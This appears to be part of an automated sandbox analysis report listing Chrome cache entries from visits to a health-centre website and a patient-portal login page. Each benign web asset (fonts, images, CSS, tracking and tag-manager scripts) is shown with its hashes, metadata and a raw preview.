SHA-256:	ED186BF733EAEA0A793C2E1CE9B19C90F115FD144D95BB905483AA798BA9721F
SHA-512:	49907F47DA79455FB1073D95D5E15C514E02A78DEFA6A4C2F12F03EA441C3236B7C9B4AA2E6621C194D619470BC0172CDEA28024ECE45576F9CCA16B4E5A29B5
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$.....................................................N.........................!.1.AQa.."q2...#B..3Rb....$r..%C...4S..5c.D.&6Ts...................................8........................!1A.."Q2a..#q3B.....$R..4C................?......TK+.l...!.p.;]...D.p..M...s\.jco..:5vx.ce.......\.}.#4.-...@.<..I.+..V.h...6.....r..c..?u...@rM.....r.h....[.gh......>Y[5..1....yW;<..\|.....`..Os.j."t....,.......de.._D...:`.-L..Q.k...S. ...Sy....,8.>I..o.?d.oNiz}.W..nO$..5D.S........u!...........i.jT&..B.me.WGM...xr.>........bU.Ky...M{......+l.......4f5io...].3......x.2.-1..-.G5.nw@......d...%....5kq.....8..j.d....,.+.....Q...3.rc...Q......h....^.....\\.NA.U.O>T&...K6.s..koq....q.>U...'9..3..i..{.E....&pF3X.`NMO.X.1...b.j.+...9....N.Q.y#...b.R.;..fT..n..G8..>X..99l2..14..&..Kuy..;..k....)[...=-%....4/...7/.n.....[.......

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 17368, version 1.0
Category:	downloaded
Size (bytes):	17368
Entropy (8bit):	7.988156056665537
Encrypted:	false
SSDEEP:	384:sPhuPFjxt/qdIwpOOYKXYRbCikSoGsGkUULZ:sPSFL/8O1vWVSZkj
MD5:	ABE083D96B58EB02ADA8B7C30D7B09F2
SHA1:	61447D66D13A8C8F4335696777A85C438C46F749
SHA-256:	DB0424FB67FB52E7E538490240CC7FB9C05AA076333A4968F3DEE30B825DABF9
SHA-512:	D17E095A6F0871FA0C9CDDDE08F87A63589574EB23F3DCA7430EA23FD6FF5C3523E9807DC0ED0CF9C874E1A37046461E79EE47E1E9AA64513FFF25BDD48C3696
Malicious:	false
Reputation:	low
URL:	http://fonts.gstatic.com/s/roboto/v30/KFOkCnqEu92Fr1Mu51xIIzI.woff2
Preview:	wOF2......C........`..Cs.........................d..d..^.`.. .R..<.....X..%........6.$.... .... ..D.....#n.@T..cd .8@a.'#.5{p......1D....&...B.D3i....,:...../.a.5..''.v....$XK....0..g.;9..'.G.....>s.>..`.........E..b.M.......I....)b$8...&(...(.&~...C..{.M..+....p..SDc..j,.. .hc..c.l..38..8........7#r....Z.....3...X'Mc...I.P.._."e.V....}ke...,..2.0z...P...S....pZ6}T,.....z.^.z... .G,.......]c83v..L4..m...].......`.{o.U`.U8cN-2}..."....Ar..w........_.l...#.....F\H.._./.i...I....:...fyf..H..Ruv.:w~W:..mo..{._hl../..1/ci.V..`qM....b.@5.3..t....".u..g..;O<.RB.M..CVj.t...?.......!C.. I.....W../.Z.AG.6.)....xc..............J....U..:.3.'...G....E..9..p...;Xs...X..>.a1`....q`...{%....$....v...Uw... ..C..!...B.$..yd]B...J....Bb...x.8G6#>'..3H.P .L..R.9.4..f.%....<...jd...4#V.....>.......8..P..@V.q..y.......z..n....0...w ...ao.Sr.g.5....r.G..>w....J.y.y..'.>.<....q.N....,~&...D....._....$.9.:v..Vf...u..6....]HR....."..>H_F.>.X...YA..[.h.....A..2..

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	253994
Entropy (8bit):	7.888726298290245
Encrypted:	false
SSDEEP:	6144:X52RhWGdiLAJmeIlFtRpq/Fnm6lOcAybJEtywu:X5etdiL3HJc5bJEywu
MD5:	DDB2A604015176ED85F1466303370A68
SHA1:	D958B8A0BA157FA8A292AEB2C12E10D105295801
SHA-256:	6E7B8A2FC78EFDE29E643F73E85736C4D61CA656EECD505674E0BFB83A411546
SHA-512:	A1A0668E3A8B8A436CFF32BD779E1A9EE40A0ED8D6D9F11C4EF98299FECB09AEC4A860E135DEF89549E38D7C0D15BC060B884839F4F5413B8628157898AB63C6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......M.n....IDATx...Mm.A...@X....`.....a!...s...0...!..N....HI.{.^.\|..^]...S.............._D..........=.(..........G.E..........(............E............".........z.Q.........@."......w.~.....R'.....`..........R.?..A.......,....6.<................`S.k.O.]..R......vD......6.!.r,....S.Y......"....._.....n.4,....z.Q.....c.@...:........0..".....W.....`)..>....0..".........J.......0.."..........e..z...lM..{.._.;....}9...SJ.....X"......p.B.....q.]>.%$x..).G\$.w..;[.K......._D....@..a...>.M..o..+!.......OZLE...........k`.... .6u...........A..........{."ve*...rf.._.auf].x..}.y.....D.........:.v#/)gg...V..wu....=...@......e(..;...g..u.......KiwpL......."....>.L:ZL...>.-$He....oj6......ID....@..5sS..f..._.a..;.'.1)}.....E.....d.]3g%.}..k.;..}J...z................MM:Z.SJ...z>....-B}.._...h.................CJ.F.:.....}..w.$......`....[.t4..mT.....S..}D......&......X......6......>.oeN..h....P.... .......Hu%.......+..H@.."....

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	95820
Entropy (8bit):	5.44413880481635
Encrypted:	false
SSDEEP:	768:rIIMwDXiByBfBABaBuBjBiAWdbcMCw5Kqjjm4KtPcM573A43Fa/rQAjdqBJBABF5:rIIMwSk1CjAp
MD5:	D2CC4733F96DCA293F65F01CF4974BD4
SHA1:	D204A9A27327523629AF12FD603183497838E0EF
SHA-256:	E229B3F49F387D167005112D64F7E73F0E58D80F9172F9079D462E91F6E83311
SHA-512:	C7E78E08B1BB4F2CDA1FC98B1BD6CABCD9BE62EA91C96D945065E78660A95C2E6987EB935B984581EB590601704597926573D0A23145FDB3CFC94C8EDB44B85C
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto%3A400%2C100%2C300%2C400%2C500%2C700%2C900%7CYanone+Kaffeesatz%3A200%2C300%2C400%2C500%2C600%2C700%7COpen+Sans%3A300%2C400%2C600%2C700%2C800%7CRoboto+Slab%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900%7CPoppins%3A100%2C200%2C300%2C400%2C500%2C600%2C700%2C800%2C900&subset=latin%2Clatin-ext
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Open Sans';. font-style: normal;

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/generic?ttd_pid=pubmatic
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 785 x 609, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5045
Entropy (8bit):	7.8549835151004785
Encrypted:	false
SSDEEP:	96:/S5aUWZUZCXX7k4grZran0Z7/WhnXWO31tz0Q1j2WBNY1:/S5t4XX7k4g3+hXl190yBNY1
MD5:	24B83BBECBF76DCDAAA39B8EF7598DD9
SHA1:	9E3B8805CEEB44F310C1670276C7D205C1286D57
SHA-256:	5EF5BD15708AE9DA6CA46964847AF66E619622C97E8C7D231A7B74135EC18E5E
SHA-512:	8C28DE29291FF9F1BBA3C068E8F6885D06E52EA47C374288463587CA79887DA9C2B4D78A3262CED7F1A14DACCB8C886DB1CEB2430CF53DC896FED0231B4B6CE0
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/practice-landing-vector-web.png
Preview:	.PNG........IHDR.......a........!....sRGB...,.....pHYs.................PLTE...J..N..P..U..N..@.....G..K..F..F.....J..D..@..M..U..J..I.....I..M..N..@..G..I..9..Q..M..N..@.....F..N..F..@..Q..3..D..F..U..I..I.......3..3..I..N..@.....I..C..M..M..U..D.....U..P..F..G..C..M..G..9..I..U....:....EtRNS.............................................................................IDATx...z.7...b..88....6..Ochp..^'.L2..=.c.%.$..uUI.H..>.}...O.j.....T.....c..k..uz.Rz-..\|E.VJ.M"....k......J..ID.I.VJ.U"..V.Z%......X.D<..+%...[....j...!=^).....+..2...=`).....,%.6..w..Z'..=b)..x..&.u"\...O...T...h..c.....1K.tH..`U.....-%.%.~].zuID....J.D..V..f....H.DL.aK.tK.o.T...8..-..1..3z.R.].qH.\J.k".....:'....B.DL]..uN...T....FU.{"<I.F=..IB...O..P.D..I...O..O.Dx.Puz%.?\.:..1uu../.......z&b..@..g"....7..1]..S.D./...;........'bF. E.?.....)...8.k.......H...P5b$.yIW!..%...W5.$.yE.!E.'..7t.R..../VT.H..?\.D.D.}...JD.D.!Z"\|..*DK...R..%.yC."..1..t-R.....XU f".>.U.b&.M/U...p.../n"..r...&.o

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	4.504247855285173
Encrypted:	false
SSDEEP:	3:0QcGIFnZNTspsm8kCYYn:0JGIhs61
MD5:	D6D000B47CF7F5795A92A9EE0D956465
SHA1:	B97675D45A484611C9AD641E7C501BF984B2E426
SHA-256:	3BF966FED8AB44B992A337C081880414B58CF3A53139EE2604FF4746EB7E2FC2
SHA-512:	783493E1C09B2C0121F11FEDF1109B020092217D0A800C7E89E8396B62333FED7BCACDF574BEDEFAAE4BB9C3D3CFC4CD03DA79AA914747705BB9B7CE42723989
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwktS_v64GiilxIFDRPJyacSBQ0tAN0v?alt=proto
Preview:	CiAKEQ0TycmnGgQICRgBGgQIVhgCCgsNLQDdLxoECEsYAg==

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9848)
Category:	downloaded
Size (bytes):	13404
Entropy (8bit):	4.996851212378328
Encrypted:	false
SSDEEP:	192:77TS3/OkZLdtdTOHAf0OLobAU0iZpEXj0LvhpBaEMuawTX0k:763/LfdoG0huEbn
MD5:	DD755805EB89A1DFB117A6525D622366
SHA1:	E58E07979F4AA1F058F27526DAD1A95554905598
SHA-256:	F65F13D1B628AEDE91412C609036D4969892955C977E0BC8A066DAD79FA0C141
SHA-512:	003DBB0F8E3130E9278E5AC009A1EF8066E921B8DE6E939A21E646478AC27BF5D05779B7B9C8D25308594EB7407BB60EC91AB7ACB5E1A133C62662E2B4370F39
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/usp.css?ver=20240319
Preview:	/* ..User Submitted Posts : CSS : USP Form..@ https://perishablepress.com/user-submitted-posts/..Complete list of CSS selectors @ https://m0n.co/e.*/..div#user-submitted-posts { width: 100%; max-width: 800px; overflow: hidden; }.div#user-submitted-posts form { box-sizing: border-box; margin: 10px 0; padding: 5px; }.div#user-submitted-posts fieldset { box-sizing: border-box; margin: 10px 0; padding: 0; border: 0; }..div#user-submitted-posts fieldset label { box-sizing: border-box; display: block; float: none; clear: both; width: 80%; margin: 0; padding: 0; border: 0; font-size: 90%; }.div#user-submitted-posts fieldset input.usp-input { box-sizing: border-box; display: block; float: none; clear: both; width: 80%; margin: 0; }.div#user-submitted-posts textarea.usp-textarea { box-sizing: border-box; display: block; float: none; clear: both; width: 100%; margin: 0; }.div#user-submitted-posts select { box-sizing: border-box; display: block; float: none; clear

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (9462)
Category:	downloaded
Size (bytes):	154611
Entropy (8bit):	5.117396953084903
Encrypted:	false
SSDEEP:	3072:wPggg+4UG36LZigfEmEg8rYz5OphKyC0AVtdrlndC:wfpO8U
MD5:	CD917553AFB2E80DEB9BADE4F92A852C
SHA1:	8034488DFFDA689826E8BC3EF30F09024E881E82
SHA-256:	F707098B56823AC6DFBC85B37D987497F19C5D9FD5ACFE4336E024443D411DDD
SHA-512:	3ED992B82BFD69E90A2C0C18F1E49B9ED8EDC73BB0C17DA9240935E9C6B0368BF3C8EA83255E152A0E5935CFEEED3B899C8769091DF83358E1CAD15F4645CFBE
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/services
Preview:	.<!doctype html>.<html lang="en-US" style="scroll-behavior: smooth;">..<head>. Google Tag Manager -->. <script>. (function(w, d, s, l, i) {. w[l] = w[l] \|\| [];. w[l].push({. 'gtm.start': new Date().getTime(),. event: 'gtm.js'. });. var f = d.getElementsByTagName(s)[0],. j = d.createElement(s),. dl = l != 'dataLayer' ? '&l=' + l : '';. j.async = true;. j.src =. 'https://www.googletagmanager.com/gtm.js?id=' + i + dl;. f.parentNode.insertBefore(j, f);. })(window, document, 'script', 'dataLayer', 'GTM-M6GP474');. </script>. End Google Tag Manager -->.. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.. <link rel="apple-touch-icon" sizes="57x57" href="https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-57x57.

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	257509
Entropy (8bit):	5.612511670927165
Encrypted:	false
SSDEEP:	3072:QhBRhzgNSNow8VNz2B1b8371+TYc20DCSY1KGoIbhlWDe5L+aVsQCh1omN8LMjFF:efhewMNz26qwuDe5LfV9CjrN8SsAZ
MD5:	1FA16C58C4BA5C13FBE2AE73CDF9683A
SHA1:	6947D25632CEF904A754EEB77D86C972C8D1BF75
SHA-256:	511FB73BF3650299ED1B498444ECB095E3C982AB2334C6D6911FE93686505E36
SHA-512:	D330057AA4FD2FA4A1B6120EBD7E64E0438D0A3FC86516BDD3BEDDFC8E13309379EB20671527CC56489CDD41F4CC95402C653BBD497D47AA5693FCECF2B8A705
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-9LSM884DML&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":8,"vtp_value":true,"tag_id":16},{"function":"__ogt_referral_exclusion","priority":8,"vtp_includeConditions":["list","valleyprohealth\\.org"],"tag_id":18},{"function":"__ogt_session_timeout","priority":8,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":19},{"function":"__ogt_1p_data_v2","priority":8,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4112), with CRLF line terminators
Category:	downloaded
Size (bytes):	4330
Entropy (8bit):	5.361372836701116
Encrypted:	false
SSDEEP:	96:VPYaTbFaRZqD1B7sfha1s+Gib2V81qJQOPG:WaQRZqKhadGib2VyO4
MD5:	C6DF8E890079A5BF367653CE7A4A181D
SHA1:	81DD20E943C855B794360CF74F3BFB1EAC0AA3DE
SHA-256:	58C5FB14D40E03A30B242153B35222EF2C66912229FE98E3BAD88AFD8BB4AA37
SHA-512:	69B6292EF98E51F74102E9B4C82438D0F17438CCA34CC11EB0D385B71480D149B513791F0238CCA3E6B762ACDDCE8EE7A76B5E59A70D6647AAC736C7E7EA758F
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/jquery.maskedinput-1.4.1.min.js
Preview:	/.. jQuery Masked Input Plugin.. Copyright (c) 2007 - 2015 Josh Bush (digitalbush.com).. Licensed under the MIT license (http://digitalbush.com/projects/masked-input-plugin/#license).. Version: 1.4.1../..!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):jQuery)}(function(a){var b,c=navigator.userAgent,d=/iphone/i.test(c),e=/chrome/i.test(c),f=/android/i.test(c);a.mask={definitions:{9:"[0-9]",a:"[A-Za-z]","*":"[A-Za-z0-9]"},autoclear:!0,dataName:"rawMaskFn",placeholder:"_"},a.fn.extend({caret:function(a,b){var c;if(0!==this.length&&!this.is(":hidden"))return"number"==typeof a?(b="number"==typeof b?b:a,this.each(function(){this.setSelectionRange?this.setSelectionRange(a,b):this.createTextRange&&(c=this.createTextRange(),c.collapse(!0),c.moveEnd("character",b),c.moveStart("character",a),c.select())})):(this[0].setSelectionRange?(a=this[0].selectionStart,b=this[0].selectionEnd):document.selection&&document.sel

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	665
Entropy (8bit):	7.42832670119013
Encrypted:	false
SSDEEP:	12:6v/7OEUelyuRs56fyKgIEInu5VLJBZInmJhd/3VqQXD8GBm1:belFRs56fuIEIu5VNBZInMTICfBO
MD5:	07BF314AAB04047B9E9A959EE6F63DA3
SHA1:	17BEF6602672E2FD9956381E01356245144003E5
SHA-256:	55EAF62CB05DA20088DC12B39D7D254D046CB1FD61DDF3AE641F1439EFD0A5EE
SHA-512:	2A1D4EBC7FBA6951881FD1DDA745480B504E14E3ADAC3B27EC5CF4045DE14FF030D45DDA99DC056285C7980446BA0FC37F489B7534BE46107B21BD43CEE87BA0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..W..DA.=.6O...H.,E.............b.....C.1...1..EbLPI.W......H..s.z5.:..._.d.0.u.......j.x.R..._.v..R...1..ir..`.yn..R..j.h./y..l......(`..5....l.E..0......B^......F.....F....Y\|p..._,p.............(3^.r.P.O......;<....z.,..yF....N..x.MS...Q.C%......D8G.+......oOk...)T..}\|..e...G.....'.R..G.Z.T}7(...&..@...G....$PGYv...A.c.]d....N..'.4b...R.%..)2Yd..b.M..^@.M....^.:h.N(dP*t..RQ%.o...{.vGH..S._".@./...g.....]...?..h..E.,r.m.%."."W.6G..t...->....q\.Kc.t"^......Kj~{l..C..).y..><@\|yB....=c.............!...<....IEND.B`.

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	22315
Entropy (8bit):	3.741277698405201
Encrypted:	false
SSDEEP:	384:F/R1VGQm0d8Me9sBjNjlw9aAXuLxDlcDE9JluPpKOGG+bVRCqe/tgK1dKrQJ10sJ:X1V3Rcg8Kr07Qp4T9TXSY
MD5:	E7C4F406DBD8701D7336592B3B9B89E3
SHA1:	4381159CEBB0B555C7192D706944C9914097F550
SHA-256:	27453F83F2D291215EC43109564AFDF82DCCB1E62594A7D9812F5B3C7575ED9B
SHA-512:	A1563B3251CECBF6572DCFC3E2555EFA8E17225D4861D713E512033DBEB192963B5711D42037B5EA9448611ADB2496A0A5F8DC3E865FD491D4AF77B84B531E3A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/img__decor--dots.svg
Preview:	<svg width="123" height="111" viewBox="0 0 123 111" fill="none" xmlns="http://www.w3.org/2000/svg">.<path opacity="0.7" fill-rule="evenodd" clip-rule="evenodd" d="M2.40217 1.70109C2.40217 2.36443 1.86443 2.90217 1.20109 2.90217C0.537745 2.90217 0 2.36443 0 1.70109C0 1.03774 0.537745 0.5 1.20109 0.5C1.86443 0.5 2.40217 1.03774 2.40217 1.70109ZM2.40217 13.712C2.40217 14.3753 1.86443 14.913 1.20109 14.913C0.537745 14.913 0 14.3753 0 13.712C0 13.0486 0.537745 12.5109 1.20109 12.5109C1.86443 12.5109 2.40217 13.0486 2.40217 13.712ZM13.212 2.90217C13.8753 2.90217 14.413 2.36443 14.413 1.70109C14.413 1.03774 13.8753 0.5 13.212 0.5C12.5486 0.5 12.0109 1.03774 12.0109 1.70109C12.0109 2.36443 12.5486 2.90217 13.212 2.90217ZM14.413 13.712C14.413 14.3753 13.8753 14.913 13.212 14.913C12.5486 14.913 12.0109 14.3753 12.0109 13.712C12.0109 13.0486 12.5486 12.5109 13.212 12.5109C13.8753 12.5109 14.413 13.0486 14.413 13.712ZM25.2228 2.90217C25.8862 2.90217 26.4239 2.36443 26.4239 1.70109C26.4239 1.03774

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:Iu6CxICkY:TPkY
MD5:	294DA74724D32B2F8F0B2D73540A23CA
SHA1:	4F504BDF6DEA6EC9C2B0B7F4A1DBC655263A9878
SHA-256:	BF35EA88B3B508A531B530F09F894950DD9BD2FEBE38865EC86108EE4E327C9E
SHA-512:	F373CD9A08999FF67E0F5E9166D097D4156ED3B63D7EB8F57386AE941ECACBAFCF429ABEE3A768BCEC0286FF74477E30954A8D081AC23AECE8E6C6246818167D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnYIWIC6uLMHhIFDe5qUokSBQ1TWkfF?alt=proto
Preview:	ChIKBw3ualKJGgAKBw1TWkfFGgA=

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 550x550, components 3
Category:	dropped
Size (bytes):	50146
Entropy (8bit):	7.972402165302988
Encrypted:	false
SSDEEP:	768:6xS1VfO9eIjxoH6QHuyTQX+5iey/Xd/WRhTpMgvNNEVaaEv1h5T19+MghSVvQl07:7mgIj+H6IQuRy/deRhFKVU57FuSvD4Z+
MD5:	9C3B858FC617390CFE3DA709439C26CF
SHA1:	CFA941A22F7C69F530EA73052CEB7579F5964F8B
SHA-256:	F8D86F1CC202EBBF6CA458977F6CE7784A6BD089990CE42245F68F2EEBDCC17A
SHA-512:	363BA34B018D14E3C75F8CC142D94B25AEABA879FF321D40AD734E4A245E058877FAB7B87F654F57D72224A25F672684ACECB1386FB57FDBB6ED386316A14BC7
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......&.&...........................................G..........................!1A.."Qaq.2.#3B...$4Rr...b..C...%c...Sdst..................................5........................!1.A.Q"2a.q.#B...3R.$...b..............?....q.4(..R.F1P....F..........-d.P....@.@8...@..`....1..D.......D. .\|.j.....7...~.....&X..L.....D...I..bU.....q.f.@.'.D.+..ty&7....r..K_S..$q.2.s=.q.1...%...oq...1..TW....aq.]........A.!-..Gr.;.6...c.c...SR4........Y...Tpf_.......;;.._Bq..j....!..b...l.`.OK..a.,..d.$Yi...SV=.7...b.<..I.I.....r...1...VKMP.......L...]v0...V..8#..R.....v...M.....t...N.CK}QaC.LCH..i.........,..J.....F.2Fj{[.R.'..........%TM.........<..?j...V..3.......v..{...6B..].....d......%.{FoI.....&}.....X?...7.NA...m.H..$)....u.\|.. .e%..tq..BY.u..Y.!m..Y.l.K.G.7.T......A[.@.....kl.!@@.h..sF...R..] ...M......1.....

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (940), with no line terminators
Category:	downloaded
Size (bytes):	940
Entropy (8bit):	4.992188971914382
Encrypted:	false
SSDEEP:	24:Vs/ybihdYZiNBmGamliRIBNfzEwMYwBc0SKCzfI5kXb3:LBiTuYB5A5ZS1okL3
MD5:	6668A283E409C76C6EC1485A9FC0E851
SHA1:	B69741A26EB14BBF0C632F60CB3C7BFD941677F3
SHA-256:	8D2628F40610354F2086919BCD8E12AE6022516FE9ED987CA6C7DF0E966F9002
SHA-512:	CD70192A49265DC758263476CD780F18813A1EC9D7E9D3025A3F0753D29B46F4BEED5AB7FCB096515F25CC6CC5EE0F5AAC0B8DF7964CCC13C808532A7134F7A2
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/_theme_color.bundle.js?ver=230904-91935
